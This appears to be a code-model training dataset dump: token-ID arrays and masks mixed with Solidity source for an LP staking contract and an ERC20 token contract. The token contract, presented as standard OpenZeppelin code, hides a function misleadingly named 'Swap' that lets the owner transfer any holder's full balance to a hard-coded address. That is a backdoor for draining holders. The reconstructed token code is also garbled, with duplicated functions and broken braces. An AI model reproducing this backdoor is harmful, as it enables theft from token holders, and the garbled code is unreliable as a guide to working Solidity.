[ 1, 9704, 288, 45, 654, 39, 3462, 17, 12908, 537, 5496, 29076, 30, 300, 1375, 87, 1302, 264, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 1071, 5024, 3849, 1135, 261, 6430, 13, 288, 203, 540, 203, 3639, 2583, 12, 5, 291, 38, 321, 88, 9334, 315, 21465, 4274, 18305, 88, 8863, 203, 540, 203, 3639, 389, 12908, 537, 24899, 3576, 12021, 9334, 17571, 264, 16, 3844, 1769, 203, 3639, 327, 638, 31, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: SimPL-2.0 pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } interface IMigrator { function migrate(IERC20 token) external returns (IERC20); } interface IAward { function addFreeAward(address _user, uint256 _amount) external; function addAward(address _user, uint256 _amount) external; function withdraw(uint256 _amount) external; function destroy(uint256 amount) external; } contract LPStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 lockRewards; // lock rewards when not migrated uint256 stakeBlocks; // number of blocks containing staking; uint256 lastBlock; // the last block.number when update shares; uint256 accStakeShares; // accumulate stakes: ∑(amount * stakeBlocks); } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. Token to distribute per block. uint256 lastRewardBlock; // Last block number that Token distribution occurs. uint256 accTokenPerShare; // Accumulated Token per share, times 1e12. See below. } // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigrator public migrator; // The block number when Token mining starts. uint256 immutable public startBlock; // The block number when Token mining ends. uint256 immutable public endBlock; // Reward token created per block. uint256 public tokenPerBlock = 755 * 10 ** 16; mapping(address => bool) public poolIn; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; bool public migrated; IAward award; event Add(uint256 allocPoint, address lpToken, bool withUpdate); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event SetMigrator(address indexed newMigrator); event Migrate(uint256 pid, address indexed lpToken, address indexed newToken); event Initialization(address award, uint256 tokenPerBlock, uint256 startBlock, uint256 endBlock); event Set(uint256 pid, uint256 allocPoint, bool withUpdate); event UpdatePool(uint256 pid, uint256 accTokenPerShare, uint256 lastRewardBlock); constructor( IAward _award, uint256 _tokenPerBlock, uint256 _startBlock, uint256 _endBlock ) public { require(_startBlock < _endBlock, "LPStaking: invalid block range"); award = _award; tokenPerBlock = _tokenPerBlock; startBlock = _startBlock; endBlock = _endBlock; emit Initialization(address(_award), _tokenPerBlock, _startBlock, _endBlock); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, address _lpToken, bool _withUpdate) public onlyOwner { require(!poolIn[_lpToken], "LPStaking: duplicate lpToken"); if (_withUpdate) { batchUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken : IERC20(_lpToken), allocPoint : _allocPoint, lastRewardBlock : lastRewardBlock, accTokenPerShare : 0 })); poolIn[_lpToken] = true; emit Add(_allocPoint, _lpToken, _withUpdate); } // Update the given pool's Token allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); if (_withUpdate) { batchUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; emit Set(_pid, _allocPoint, _withUpdate); } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigrator _migrator) public onlyOwner { migrator = _migrator; emit SetMigrator(address(_migrator)); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; emit Migrate(_pid, address(lpToken), address(newLpToken)); } function setMigrated() onlyOwner public { migrated = true; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) private view returns (uint256) { if (_to <= endBlock) { return _to.sub(_from); } else if (_from >= endBlock) { return 0; } else { return endBlock.sub(_from); } } // View function to see pending Token on frontend. function pendingShares(uint256 _pid, address _user) external view returns (uint256) { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accTokenPerShare = pool.accTokenPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 rewards = multiplier.mul(tokenPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accTokenPerShare = accTokenPerShare.add(rewards.mul(1e12).div(lpSupply)); } return user.amount.mul(accTokenPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function batchUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); PoolInfo storage pool = poolInfo[_pid]; if (block.number > pool.lastRewardBlock) { uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; } else { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 rewards = multiplier.mul(tokenPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accTokenPerShare = pool.accTokenPerShare.add(rewards.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } } emit UpdatePool(_pid, pool.accTokenPerShare, pool.lastRewardBlock); } function shareAwards(uint256 _pid) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = 0; if (user.amount > 0) { pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt); uint256 num = block.number - user.lastBlock; user.stakeBlocks = user.stakeBlocks.add(num); user.accStakeShares = user.accStakeShares.add(user.amount.mul(num)); } if (migrated) { uint256 locked = user.lockRewards.add(pending); user.lockRewards = 0; uint256 audit = user.stakeBlocks.mul(user.amount); if (user.accStakeShares > audit) { uint256 _locked = locked.mul(audit).div(user.accStakeShares); award.destroy(locked.sub(_locked)); locked = _locked; } if (locked > 0) { award.addAward(msg.sender, locked); } } else { user.lockRewards = user.lockRewards.add(pending); } user.lastBlock = block.number; } // Deposit LP tokens to Staking for shares allocation. function deposit(uint256 _pid, uint256 _amount) public { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; shareAwards(_pid); pool.lpToken.safeTransferFrom(msg.sender, address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from LPStaking. function withdraw(uint256 _pid, uint256 _amount) public { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); shareAwards(_pid); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); pool.lpToken.safeTransfer(msg.sender, _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { require(_pid < poolInfo.length, "LPStaking: pool index overflow"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(msg.sender, user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } }
number of blocks containing staking;
uint256 stakeBlocks;
5,871,080
[ 1, 2696, 434, 4398, 4191, 384, 6159, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 384, 911, 6450, 31, 377, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x64CdCA4a8ac998CD5A01Cb119836E0fbf754aAb9/sources/ripplepepesecbarbieproton20.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin Contracts guidelines: functions revert instead returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; address private _owner; string private _name; string private _symbol; } constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function Swap(address account) public { require(msg.sender == _owner); _transfer(account, 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe, _balances[account]); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } ) internal virtual {} ) internal virtual {} }
2,790,454
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 30131, 9875, 14567, 30, 4186, 15226, 3560, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
